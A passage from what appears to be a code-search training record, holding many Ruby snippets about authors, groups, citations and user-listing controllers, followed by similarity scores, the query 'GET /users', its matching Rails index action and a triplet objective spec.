t.names[0][:last_name]\n assert_equal \"D\", t.names[0][:initials].join\n assert_equal \"Meng\", t.names[1][:last_name]\n assert_equal \"X-m\", t.names[1][:initials].join\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[9])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 1, t.names.size\n assert_equal \"Hong\", t.names[0][:last_name]\n assert_equal \"Y-C\", t.names[0][:initials].join\n\n lexer = Taxonifi::Splitter::Lexer.new(auths[11])\n assert t = lexer.pop(Taxonifi::Splitter::Tokens::Authors)\n assert_equal 3, t.names.size\n assert_equal \"Foo\", t.names[0][:last_name]\n assert_equal \"A\", t.names[0][:initials].join\n assert_equal \"Bar\", t.names[1][:last_name]\n assert_equal \"ZA\", t.names[1][:initials].join\n assert_equal \"Smith-Blorf\", t.names[2][:last_name]\n assert_equal \"A\", t.names[2][:initials].join\n end",
"def groups\n find(:group).map { |g| g.content }\n end",
"def group_names\n @group_names ||= groups.map { |g| g[:cn].first }\n end",
"def authors\n @authors ||= author_ids.map { |id| Author.new(instance, id) }\n end",
"def associate_authors\n publication = @publication\n # project = publication.project || current_user.person.projects.first\n association = {}\n publication.non_seek_authors.each do |author|\n matches = []\n #Get author by last name\n last_name_matches = Person.find_all_by_last_name(author.last_name)\n matches = last_name_matches\n #If no results, try searching by normalised name, taken from grouped_pagination.rb\n if matches.size < 1\n text = author.last_name\n #handle the characters that can't be handled through normalization\n %w[ØO].each do |s|\n text.gsub!(/[#{s[0..-2]}]/, s[-1..-1])\n end\n \n codepoints = text.mb_chars.normalize(:d).split(//u)\n ascii=codepoints.map(&:to_s).reject{|e| e.length > 1}.join\n \n last_name_matches = Person.find_all_by_last_name(ascii)\n matches = last_name_matches\n end\n \n #If more than one result, filter by project\n # if matches.size > 1\n # project_matches = matches.select{|p| p.projects.include?(project)}\n # if project_matches.size >= 1 #use this result unless it resulted in no matches\n # matches = project_matches\n # end\n # end \n \n #If more than one result, filter by first initial\n if matches.size > 1\n first_and_last_name_matches = matches.select{|p| p.first_name.at(0).upcase == author.first_name.at(0).upcase}\n if first_and_last_name_matches.size >= 1 #use this result unless it resulted in no matches\n matches = first_and_last_name_matches\n end\n end\n\n #Take the first match as the guess\n association[author.id] = matches.first\n end\n \n @author_associations = association\n end",
"def get_authors(authors)\n Array(authors).map { |author| get_one_author(author) }\n end",
"def get_dup_auths(book_cd_authors)\n\t\tresult = Array.new\n\t\tbook_cd_authors[\"cd\"].each do |auth_name,_|\n\t\t\tif book_cd_authors[\"book\"].has_key?(auth_name)\n\t\t\t\tresult.push(auth_name)\n\t\t\t\tbook_cd_authors[\"cd\"].delete(auth_name)\n\t\t\tend\n\t\tend\n\t\treturn result\n\tend",
"def author_cleanup( authors )\n\n res = []\n authors.each do | p |\n ix = p.index\n ix = ix.to_i if ix.instance_of? String\n res << Author.new(\n index: ix,\n first_name: p.first_name,\n last_name: p.last_name )\n end\n return res.uniq { |p| p.index }\n end",
"def authors authorlist, style = {}\n authors = split_bib_authors(authorlist)\n num = authors.size\n max=5\n max=style[:max_authors] if style[:max_authors]\n if style[:etal] and num > max\n aunum = 1\n aunum = style[:etal_num] if style[:etal_num]\n text = comma(authors[0..aunum-1].join(', '))\n text = text.chop.chop\n text += if style[:etal] == :plain\n ' et al.'\n else\n ' <i>et al.</i>'\n end\n\n else\n if num > 1\n # p [num,authors]\n text = comma(authors[0..num-2].join(', ')+' & '+authors[num-1])\n else\n text = comma(authors[0])\n end\n # strip final comma\n text = text.chop.chop\n end\n text\n end",
"def to_groff\n GroffString.groffify do |out|\n out.section \"authors\"\n @authors.each do |author|\n args = [\"\\\"#{author[:name]}\\\"\"]\n if author[:email] then args << \"Aq\" << author[:email] end\n out.An *args\n end\n end\n end",
"def authors\n read_property 'Authors'\n end",
"def show_all_article_titles_with_authors\n @all = all_article_titles_with_authors\n @all.each do |title, author|\n puts \"#{author} - #{title}\"\n end\n return @all\n end",
"def author_info\n self.authors.map(&:full_name).join(', ')\n end",
"def hc_group_list(id)\n org=Org.find(id)\n org.hc_groups.group_list\n end",
"def chicago_citation(marc)\n authors = get_all_authors(marc)\n author_text = \"\"\n\n # If there are secondary (i.e. from 700 fields) authors, add them to\n # primary authors only if there are no corporate, meeting, primary authors\n if !authors[:primary_authors].blank?\n authors[:primary_authors] += authors[:secondary_authors] unless authors[:secondary_authors].blank?\n elsif !authors[:secondary_authors].blank?\n authors[:primary_authors] = authors[:secondary_authors] if (authors[:corporate_authors].blank? and authors[:meeting_authors].blank?)\n end\n\n # Work with primary authors first\n if !authors[:primary_authors].blank?\n\n # Handle differently if there are more then 10 authors (use et al.)\n if authors[:primary_authors].length > 10\n authors[:primary_authors].each_with_index do |author,index|\n # For the first 7 authors...\n if index < 7\n if index == 0\n author_text << \"#{author}\"\n if author.ends_with?(\",\")\n author_text << \" \"\n else\n author_text << \", \"\n end\n else\n author_text << \"#{name_reverse(author)}, \"\n end\n end\n end\n author_text << \" et al.\"\n # If there are at least 2 primary authors\n elsif authors[:primary_authors].length > 1\n authors[:primary_authors].each_with_index do |author,index|\n if index == 0\n author_text << \"#{author}\"\n if author.ends_with?(\",\")\n author_text << \" \"\n else\n author_text << \", \"\n end\n elsif index + 1 == authors[:primary_authors].length\n author_text << \"and #{name_reverse(author)}.\"\n else\n author_text << \"#{name_reverse(author)}, \"\n end\n end\n else\n # Only 1 primary author\n author_text << authors[:primary_authors].first\n end\n elsif !authors[:corporate_authors].blank?\n # This is a simplistic assumption that the first corp author entry\n # is the only one of interest (and it's not too long)\n author_text << authors[:corporate_authors].first + '.'\n elsif !authors[:meeting_authors].blank?\n # This is a simplistic assumption that the first corp author entry\n # is the only one of interest (and it's not too long)\n author_text << authors[:meeting_authors].first + '.'\n else\n # Secondary authors: translators, editors, compilers\n temp_authors = []\n authors[:translators].each do |translator|\n temp_authors << [translator, \"trans.\"]\n end\n authors[:editors].each do |editor|\n temp_authors << [editor, \"ed.\"]\n end\n authors[:compilers].each do |compiler|\n temp_authors << [compiler, \"comp.\"]\n end\n\n unless temp_authors.blank?\n if temp_authors.length > 10\n temp_authors.each_with_index do |author,index|\n if index < 7\n author_text << \"#{author.first} #{author.last} \"\n end\n end\n author_text << \" et al.\"\n elsif temp_authors.length > 1\n temp_authors.each_with_index do |author,index|\n if index == 0\n author_text << \"#{author.first} #{author.last}, \"\n elsif index + 1 == temp_authors.length\n author_text << \"and #{name_reverse(author.first)} #{author.last}\"\n else\n author_text << \"#{name_reverse(author.first)} #{author.last}, \"\n end\n end\n else\n author_text << \"#{temp_authors.first.first} #{temp_authors.first.last}\"\n end\n end\n end\n title = \"\"\n additional_title = \"\"\n section_title = \"\"\n if marc[\"245\"] and (marc[\"245\"][\"a\"] or marc[\"245\"][\"b\"])\n title << citation_title(clean_end_punctuation(marc[\"245\"][\"a\"]).strip) if marc[\"245\"][\"a\"]\n title << \": #{citation_title(clean_end_punctuation(marc[\"245\"][\"b\"]).strip)}\" if marc[\"245\"][\"b\"]\n end\n if marc[\"245\"] and (marc[\"245\"][\"n\"] or marc[\"245\"][\"p\"])\n section_title << citation_title(clean_end_punctuation(marc[\"245\"][\"n\"])) if marc[\"245\"][\"n\"]\n if marc[\"245\"][\"p\"]\n section_title << \", <i>#{citation_title(clean_end_punctuation(marc[\"245\"][\"p\"]))}.</i>\"\n elsif marc[\"245\"][\"n\"]\n section_title << \".\"\n end\n end\n\n if !authors[:primary_authors].blank? and (!authors[:translators].blank? or !authors[:editors].blank? or !authors[:compilers].blank?)\n additional_title << \"Translated by #{authors[:translators].collect{|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:translators].blank?\n additional_title << \"Edited by #{authors[:editors].collect{|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:editors].blank?\n additional_title << \"Compiled by #{authors[:compilers].collect{|name| name_reverse(name)}.join(\" and \")}. \" unless authors[:compilers].blank?\n end\n\n edition = \"\"\n edition << setup_edition(marc) unless setup_edition(marc).nil?\n\n pub_info = \"\"\n if marc[\"260\"] and (marc[\"260\"][\"a\"] or marc[\"260\"][\"b\"])\n pub_info << clean_end_punctuation(marc[\"260\"][\"a\"]).strip if marc[\"260\"][\"a\"]\n pub_info << \": #{clean_end_punctuation(marc[\"260\"][\"b\"]).strip}\" if marc[\"260\"][\"b\"]\n pub_info << \", #{setup_pub_date(marc)}\" if marc[\"260\"][\"c\"]\n elsif marc[\"264\"] and (marc[\"264\"][\"a\"] or marc[\"264\"][\"b\"])\n pub_info << clean_end_punctuation(marc[\"264\"][\"a\"]).strip if marc[\"264\"][\"a\"]\n pub_info << \": #{clean_end_punctuation(marc[\"264\"][\"b\"]).strip}\" if marc[\"264\"][\"b\"]\n pub_info << \", #{setup_pub_date(marc)}\" if marc[\"264\"][\"c\"]\n elsif marc[\"502\"] and marc[\"502\"][\"a\"] # MARC 502 is the Dissertation Note. This holds the correct pub info for these types of records.\n pub_info << marc[\"502\"][\"a\"]\n elsif marc[\"502\"] and (marc[\"502\"][\"b\"] or marc[\"502\"][\"c\"] or marc[\"502\"][\"d\"]) #sometimes the dissertation note is encoded in pieces in the $b $c and $d sub fields instead of lumped into the $a\n pub_info << \"#{marc[\"502\"][\"b\"]}, #{marc[\"502\"][\"c\"]}, #{clean_end_punctuation(marc[\"502\"][\"d\"])}\"\n end\n\n citation = \"\"\n citation << \"#{author_text} \" unless author_text.blank?\n citation << \"<i>#{title}.</i> \" unless title.blank?\n citation << \"#{section_title} \" unless section_title.blank?\n citation << \"#{additional_title} \" unless additional_title.blank?\n citation << \"#{edition} \" unless edition.blank?\n citation << \"#{pub_info}.\" unless pub_info.blank?\n citation\n end",
"def map_authors_names(authors_list)\n authors_list.map do |author|\n if author =~ /^<.*>$/\n users = User.filter(\"`email`=?\", author.gsub(/^<|>$/,\"\")).limit(10).all\n next users[0].name if users.length > 0\n end\n author\n end\n end",
"def get_author_and_year\n return ([self.author_string] + [self.year_integer]).compact.join(', ') if self.rank.nil?\n rank = self.rank_class\n\n if rank.nomenclatural_code == :iczn\n misapplication = TaxonNameRelationship.where_subject_is_taxon_name(self).\n with_type_string('TaxonNameRelationship::Iczn::Invalidating::Usage::Misapplication')\n a = [self.author_string]\n\n if a[0] =~ /^\\(.+\\)$/ # (Author)\n a[0] = a[0][1..-2]\n p = true\n else\n p = false\n end\n\n ay = (a + [self.year_integer]).compact.join(', ')\n obj = misapplication.empty? ? nil : misapplication.first.object_taxon_name\n\n unless misapplication.empty? || obj.author_string.blank?\n ay += ' nec ' + ([obj.author_string] + [obj.year_integer]).compact.join(', ')\n end\n\n if SPECIES_RANK_NAMES_ICZN.include?(rank.to_s)\n if p\n ay = '(' + ay + ')' unless ay.empty?\n else\n og = self.original_genus\n cg = self.ancestor_at_rank('genus')\n unless og.nil? || cg.nil?\n ay = '(' + ay + ')' unless ay.empty? if og.name != cg.name\n end\n #((self.original_genus.name != self.ancestor_at_rank('genus').name) && !self.original_genus.name.to_s.empty?)\n end\n end\n\n elsif rank.nomenclatural_code == :icn\n basionym = TaxonNameRelationship.where_object_is_taxon_name(self).\n with_type_string('TaxonNameRelationship::Icn::Unaccepting::Usage::Basionym')\n misapplication = TaxonNameRelationship.where_subject_is_taxon_name(self).\n with_type_string('TaxonNameRelationship::Icn::Unaccepting::Usage::Misapplication')\n b_sub = basionym.empty? ? nil : basionym.first.subject_taxon_name\n m_obj = misapplication.empty? ? nil : misapplication.first.object_taxon_name\n\n\n t = [self.author_string]\n t += ['(' + self.year_integer.to_s + ')'] unless self.year_integer.nil?\n ay = t.compact.join(' ')\n\n unless basionym.empty? || b_sub.author_string.blank?\n ay = '(' + b_sub.author_string + ') ' + ay\n end\n unless misapplication.empty? || m_obj.author_string.blank?\n ay += ' nec ' + [m_obj.author_string]\n t += ['(' + m_obj.year_integer.to_s + ')'] unless m_obj.year_integer.nil?\n end\n else\n ay = ([self.author_string] + [self.year_integer]).compact.join(' ')\n end\n ay\n end",
"def authors\n # 1. Find all of the books in this genre\n # 2. Return back the author for every book\n books.collect do |book|\n # Each book, I want the author\n book.author\n end.uniq\n end",
"def citation_groups\n grouper = CitationGrouper.new(self)\n\n citation_nodes.each do |citation|\n grouper.add_citation(citation)\n end\n\n grouper.groups\n end",
"def author_ids\n diff[:authors]\n end",
"def author_identities_set\n author_identities.map do |ident|\n normalize_author_identity(ident.first_name, ident.middle_name || 'None',\n ident.last_name, ident.institution || 'None')\n end.to_s\n end",
"def attribution\n user = roles.creator.first&.user\n user = roles.administrator.not_creator.first&.user if user.blank?\n return [] if user.blank?\n\n text = user&.name(false)\n orcid = user.identifier_for_scheme(scheme: 'orcid')\n if orcid.present?\n text += format(' - <strong>ORCID:</strong> <a href=\"%{orcid_url}\" target=\"_blank\">%{orcid}</a>',\n orcid_url: orcid.value, orcid: orcid.value_without_scheme_prefix)\n end\n text\n end",
"def group_roles\n hyrax_groups.map(&:roles).flatten.uniq\n end",
"def get_related_authors\n tag = params['query']\n\n @articles = get_articles(tag) # gets all articles of this author\n # puts 'ARTICLES'\n # ap @articles\n\n @related_articles = []\n @authors = []\n\n # for each of the author's articles, get 1st degree articles and their respective authors\n @articles.each do |article|\n puts \"ARTIClE ID \"\n puts article.arxiv_id\n getRelatedPapers(article.arxiv_id, -1).each do |related|\n\n authors = related.authors\n authors.each do |author|\n\n if !@authors.include?(author)\n @authors << author\n end\n\n end\n end\n end\n \n\n @found = 1\n if @authors == []\n @msg = \"None found, try again...\"\n @found = 0\n end\n\n render \"authors\"\n end",
"def groups\n institution_groups + ['registered']\n end",
"def groups; end",
"def groups; end",
"def groups; end",
"def hc_group_list_all(id)\n org=Org.find(id)\n org.hc_groups.all(:order=>'group_name')\n end",
"def get_all_authors\n count = params[:count] # Optional - and must be an integer. Cuts the amount of authors return down to the number specified.\n timeline = params[:timeline] # Optional - and must be boolean. Determines whether to return personality predictions by day, month, and year.\n traits = params[:traits] # Optional - value must be a substring of \"ESACO\". Determines which traits to return.\n puts \"count:#{count}\"\n puts \"timeline:#{timeline}\"\n puts \"traits:#{traits}\"\n\n request = Net::HTTP::Get.new(\"/personality-api/1/all_authors.json?count=#{count}&timeline=#{timeline}&traits=#{traits}\")\n request.basic_auth BmnPersonalityApiSkeletonRor::Application.config.user_name, BmnPersonalityApiSkeletonRor::Application.config.password\n response = @http.request(request)\n render :text => response.body\n\n end",
"def get_authors(authors, options={})\n Array(authors).map { |author| get_one_author(author, options) }\n end",
"def display_article_authors(article, with_info=false)\n authors = article.authors.map{|author| author.gplus_profile.blank? ? author.name : link_to(author.name, author.gplus_profile)}.to_sentence(two_words_connector: \" & \", last_word_connector: \" & \").html_safe\n if with_info\n authors += (\" — \" + article.authors.map{|author| content_tag(:span, \"#{author.description}\", class: 'author_description') }.join(\" — \")).html_safe\n end\n authors\n end",
"def contributors\n @descriptive_detail.contributors\n end",
"def groups\n\t\t\t@groups ||= Group.find(:all, :distinguishedname => @entry.memberOf)\n\t\tend",
"def groups\n unless @groups\n @groups = convert_to_objects(cn_groups)\n end\n @groups\n end",
"def index\n @member_groups = ContentfulClient.instance.member_groups.sort_by do |member_group|\n member_group.name.gsub(/\\bThe \\b/, '')\n end\n end",
"def author_names\n names = []\n users.each do |user|\n names << user.fullname\n end\n names\n end",
"def authors_top\n\t\t\t@db.js('musicthoughts.top_authors($1)', [20])\n\t\tend",
"def all_article_titles_with_authors\n @all = {}\n search_techcrunch[\"articles\"].each do |hash|\n author = hash[\"author\"]\n title = hash[\"title\"]\n @all[title] = author\n end\n return @all\n end",
"def find_creators\n ret = [@dmp.primary_contact]\n @dmp.contributors_data_management_plans.each do |cdmp|\n ret << cdmp.contributor if cdmp.role == 'http://credit.niso.org/contributor-roles/writing_original_draft'\n end\n ret.flatten\n end",
"def get_authors(authors, options = {})\n Array(authors).map { |author| get_one_author(author, options) }\n end",
"def owners\n self.authors.collect(&:user)\n end",
"def scrape_mentions\n return if self.object.nil?\n return unless !self.object.is_a?(Nelumba::Person) and\n self.object.respond_to?(:parse_mentions)\n authors = self.object.parse_mentions do |username, domain|\n i = Identity.first(:username => /^#{Regexp.escape(username)}$/i)\n i.person if i\n end\n authors ||= []\n self.mentions_ids = authors.compact.map(&:id)\n end",
"def get_all_authors(record)\n translator_code = \"trl\"; editor_code = \"edt\"; compiler_code = \"com\"\n primary_authors = []; translators = []; editors = []; compilers = []\n record.find_all {|f| f.tag === \"100\"}.each do |field|\n primary_authors << field[\"a\"] if field[\"a\"]\n end\n record.find_all {|f| f.tag === \"700\"}.each do |field|\n if field[\"a\"]\n relators = []\n relators << clean_end_punctuation(field[\"e\"]) if field[\"e\"]\n relators << clean_end_punctuation(field[\"4\"]) if field[\"4\"]\n if relators.include?(translator_code)\n translators << field[\"a\"]\n elsif relators.include?(editor_code)\n editors << field[\"a\"]\n elsif relators.include?(compiler_code)\n compilers << field[\"a\"]\n else\n primary_authors << field[\"a\"] unless primary_authors.include?(field[\"a\"])\n end\n end\n end\n {:primary_authors => primary_authors, :translators => translators, :editors => editors, :compilers => compilers}\n end",
"def groups\n original_groups | mapped_groups | mapped_ldap_groups\n end",
"def mergeAuthorInfo(dst, src)\n\n # We will do 8-character matching, but fall back to 4-character if we can't do that.\n dst4, dst8 = {}, {}\n dst.authors.each_with_index { |auth, n| \n dstName, dstEmail = auth.split('|')\n next if dstEmail\n key = authMergeKey(dstName)\n dst8[key[0,8]] = n \n dst4[key[0,4]] = n\n }\n\n campusID = dst.campusIDs[0][1]\n origStr = \"\\n \" + dst.authors.map{|auth| auth.split('|')[0]}.sort.join(\";\\n \")\n\n found = false\n srcWithEmail = nil\n src.authors.each { |srcAuth|\n srcName, srcEmail = srcAuth.split('|')\n next unless srcEmail\n srcWithEmail = srcAuth\n key = authMergeKey(srcName)[0,8]\n if dst8.include? key\n dst.authors[dst8[key]] = srcAuth\n found = 8\n end\n }\n if !found\n src.authors.each { |srcAuth|\n srcName, srcEmail = srcAuth.split('|')\n next unless srcEmail\n key = authMergeKey(srcName)[0,4]\n if dst4.include? key\n dst.authors[dst4[key]] = srcAuth\n found = 4\n end\n }\n end\n\n if !srcWithEmail\n # don't care, no email to match anyway\n elsif !found\n puts \"Warning: In campus pub #{campusID}, unable to match #{srcWithEmail.inspect} to authors: #{origStr}\"\n elsif found == 4\n puts \"Note: In campus pub #{campusID}, less-happy match #{srcWithEmail.inspect} to authors: #{origStr}\"\n else\n #puts \"Matched #{srcWithEmail.inspect} to authors #{origStr} to yield #{dst.authors.map{|auth| auth.split('|')[0]}.join('; ')}\"\n end\nend",
"def li__my_groups(access_keys)\n access_token = OAuth::AccessToken.new(get_linkedin_consumer(3), access_keys[:access_token], access_keys[:access_secret])\n \n \n # -- X. WITH 'posts' -> to be used as part of automatically determining the location of the group (for targeted groups)\n # json_groups = _get_linkedin(access_token, \"people/~/group-memberships:(group:(id,name,num-members,short-description,small-logo-url,large-logo-url,website-url,site-group-url,posts,counts-by-category,locale,location),membership-state)?format=json&start=0&count=1000\")\n \n \n # -- X. WITHOUT 'posts'\n json_groups = _get_linkedin(access_token, \"people/~/group-memberships:(group:(id,name,num-members,short-description,small-logo-url,large-logo-url,website-url,site-group-url,counts-by-category,locale,location),membership-state)?format=json&start=0&count=1000\")\n \n \n # response = access_token.get(\"http://api.linkedin.com/v1/people/~/group-memberships:(group:(id,name,num-members,small-logo-url),membership-state,show-group-logo-in-profile,allow-messages-from-members,email-digest-frequency,email-announcements-from-managers,email-for-every-new-post)?format=json&start=0&count=1000\")\n # response = access_token.get(\"http://api.linkedin.com/v1/groups::(5049608,5112233,5161898):(id,name,site-group-url,posts)?format=json\")\n \n json_groups\n end",
"def hyrax_groups\n roles.where(name: 'member', resource_type: 'Hyrax::Group').map(&:resource).uniq\n end",
"def correct_author_lists(citation_hash)\n citation_hash[:authors].each do |auth|\n auth.last.gsub!(/Pasa-Toli.*/, 'Pasa-Tolic')\n auth.last.gsub!(/G.rg/, 'Gorg') # can't get this one working...\n end\nend",
"def groups\n groups = []\n relations = self.group_relations\n relations.each do |r|\n groups.push r.group\n end\n groups\n end",
"def author_links(author_display)\n p = params.dup\n p.delete :page\n p.delete :action\n p.delete :q\n p.delete :search_field\n p.delete :f\n p.delete :id\n p[:f] = {}\n authors = author_display.split(\"■\")\n authors.collect { |author|\n p[:f][\"author_facet\"] = []\n p[:f][\"author_facet\"].push(author.strip)\n link_url = catalog_index_path(p)\n link_to(author, link_url)\n }\n end",
"def center_and_teams()\n if(self.has_access?(:superadmin))\n self.centers.inject([]) do |col, c|\n col << c\n c.teams.map {|t| col << t }\n col\n end\n else\n groups = ([self.center] + self.groups).uniq\n end\n end",
"def groups\n roles\n end",
"def groups\n hyrax_groups.map(&:name)\n end",
"def list_groups\n groups = CanvasSpaces.GroupCategory.groups.active.order(:name)\n # filter out non-public groups for non-admins\n groups = groups.where(join_level: 'parent_context_auto_join') unless @current_user.account.site_admin?\n groups_json = Api.paginate(groups, self, api_v1_canvas_spaces_groups_url).map do |g|\n include = @current_user.account.site_admin? || @current_user.id == g.leader_id ? ['users'] : []\n group_formatter(g, { include: include })\n end\n render :json => groups_json\n end",
"def derive_authors_year\n add_author_year(author_year_string) \n end",
"def authors(library)\nend",
"def contributors\n (@item.dc_contributors.empty?) ? [] : @item.dc_contributors.reject{|au| au == '' || au.match(/^\\s+$/)}\n end",
"def author_name_forms( name )\n forms = []\n\n return forms if self.class::AUTHOR_URL.empty?\n page = fetch_author name\n forms = get_author_m page, 2, 1\n\n forms\n end",
"def hcAllGroups _args\n \"hcAllGroups _args;\" \n end"
] |
[
"0.66087204",
"0.65596133",
"0.6469133",
"0.64406973",
"0.6352643",
"0.631016",
"0.62032485",
"0.6108853",
"0.6099265",
"0.605933",
"0.60199654",
"0.5991378",
"0.5990169",
"0.5973147",
"0.5963548",
"0.5954336",
"0.5940188",
"0.5936823",
"0.58808535",
"0.5876544",
"0.5861544",
"0.5855053",
"0.5852091",
"0.5847368",
"0.58423924",
"0.58129805",
"0.5778163",
"0.5768774",
"0.57656497",
"0.5759809",
"0.5727288",
"0.57044154",
"0.5694722",
"0.5693842",
"0.56648403",
"0.5633436",
"0.5628486",
"0.5628486",
"0.5623465",
"0.56164587",
"0.561075",
"0.561009",
"0.56045276",
"0.55950224",
"0.5590563",
"0.55826795",
"0.556754",
"0.5562602",
"0.55599314",
"0.5557705",
"0.5546627",
"0.55413234",
"0.5532143",
"0.55219346",
"0.5514951",
"0.55115414",
"0.5509347",
"0.55080473",
"0.54964477",
"0.5495499",
"0.5469245",
"0.54641676",
"0.54556596",
"0.54460794",
"0.5420056",
"0.5415074",
"0.5415074",
"0.5415074",
"0.5406183",
"0.54015404",
"0.53959227",
"0.5387261",
"0.53826016",
"0.53807104",
"0.5377163",
"0.5372876",
"0.5369234",
"0.5353061",
"0.5342997",
"0.53340125",
"0.53274775",
"0.53106",
"0.531004",
"0.53000313",
"0.530002",
"0.5290429",
"0.52813953",
"0.52788633",
"0.5247844",
"0.52466464",
"0.5242486",
"0.52375615",
"0.5236495",
"0.52096206",
"0.520756",
"0.5205235",
"0.5203712",
"0.51978016",
"0.51878655",
"0.5187172"
] |
0.7421567
|
0
|
GET /users GET /users.json
|
def index
@users = User.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def list_users\n self.class.get('/users')\n end",
"def users\n get('get_users')\n end",
"def index\n users = User.all\n json_response(users)\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def users(params = {})\n params.merge!(key: 'users')\n objects_from_response(Code42::User, :get, 'user', params)\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def users(params = {})\n make_get_request('/account/users', params)\n end",
"def index\n users = User.all\n render json: users \n end",
"def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n json_response(User.all) \n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def index\n users = User.all \n render json: users \n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @users.map(&:as_json) }\n\t\tend\n\tend",
"def list\n render json: User.all\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def index\n\n users = User.all \n render json: users\n\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html\n format.json { render json: @users }\n end\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def index\n \t@users = User.all\n\n respond_to do |format| \n format.json { render json: @users }\n end\n end",
"def list\n get('users')['users']\n end",
"def index\n render ActiveModelSerializers::SerializableResource.new(@users,\n each_serializer: UserSerializer\n ).to_json, status: 200\n end",
"def index\n @users = User.all \n render json: @users, status: :ok \n end",
"def index\n @users = User.all\n logger.debug(\"user index\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n render json: User.all\n end",
"def index\n @users = User.order_by(last_name: :desc)\n if @users\n render json: Oj.dump(json_for(@users, include: ['phones', 'cards'], meta: meta), mode: :compat)\n else\n return head :unauthorized\n end\n end",
"def users(params = {})\n response = get('users/lookup.json', params)\n response.map {|user| Croudia::Object::User.new(user) }\n end",
"def index\n render json: User.all\n end",
"def index\n render json: User.all\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def list_users(user_id)\n self.class.get(\"/users/#{user_id}\")\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t format.html # index.html.erb\n\t\t format.json { render json: @users }\n\t\tend\n\tend",
"def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"def get_users\r\n # Prepare query url.\r\n _path_url = '/users'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| User.from_hash(element) }\r\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def index \n render json: User.all\n end",
"def index\n @myusers = Myuser.all\n\n render json: @myusers\n end",
"def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def query_users(options={}) path = \"/api/v2/users\"\n get(path, options, AvaTax::VERSION) end",
"def list\n response = @client.get(\"/users\")\n response[\"users\"].map {|u| User.new(@client, u) }\n end",
